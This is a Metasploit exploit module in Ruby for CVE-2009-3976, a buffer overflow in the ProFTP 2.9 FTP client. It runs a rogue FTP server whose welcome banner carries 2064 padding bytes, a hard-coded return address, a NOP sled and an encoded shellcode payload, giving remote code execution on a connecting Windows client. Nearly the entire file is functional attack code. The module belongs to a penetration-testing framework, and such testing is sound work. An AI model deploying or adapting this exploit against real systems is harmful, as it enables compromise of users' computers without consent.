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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in the ProFTP 2.9
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          client that is triggered through an excessively long welcome message.
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        },
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        'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2009-3976' ],
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          [ 'OSVDB', '57394' ],
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          [ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # Tested against - XP SP3 English OK.
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          [ 'Universal',	{ 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
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        ],
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        'Privileged' => false,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2009-08-25',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
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      ]
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    )
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    buffer = "220 "
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    buffer << rand_text_numeric(2064)
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    buffer << [target.ret].pack('V')
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    buffer << make_nops(20)
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    buffer << payload.encoded
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    buffer << "\r\n"
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    client.put(buffer)
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  end
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end
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